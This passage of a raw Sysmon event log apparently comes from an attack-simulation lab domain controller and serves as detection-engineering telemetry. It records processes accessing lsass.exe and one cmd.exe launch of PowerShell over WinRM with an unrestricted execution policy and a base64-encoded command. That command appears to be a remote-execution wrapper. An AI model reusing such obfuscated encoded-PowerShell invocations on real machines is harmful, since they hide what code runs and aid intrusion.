EAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2908-5F80-B200-000000007F01}4176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B200-000000007F01}4176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-2908-5F80-B000-000000007F01}41284196C:\Windows\system32\WinrsHost.exe{A5F018FF-2908-5F80-B200-000000007F01}4176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000003480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.401{A5F018FF-2908-5F80-B200-000000007F01}4176C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000003479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.380{A5F018FF-28BF-5F80-1300-000000007F01}12642272C:\Windows\system32\svchost.exe{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000003475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.380{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 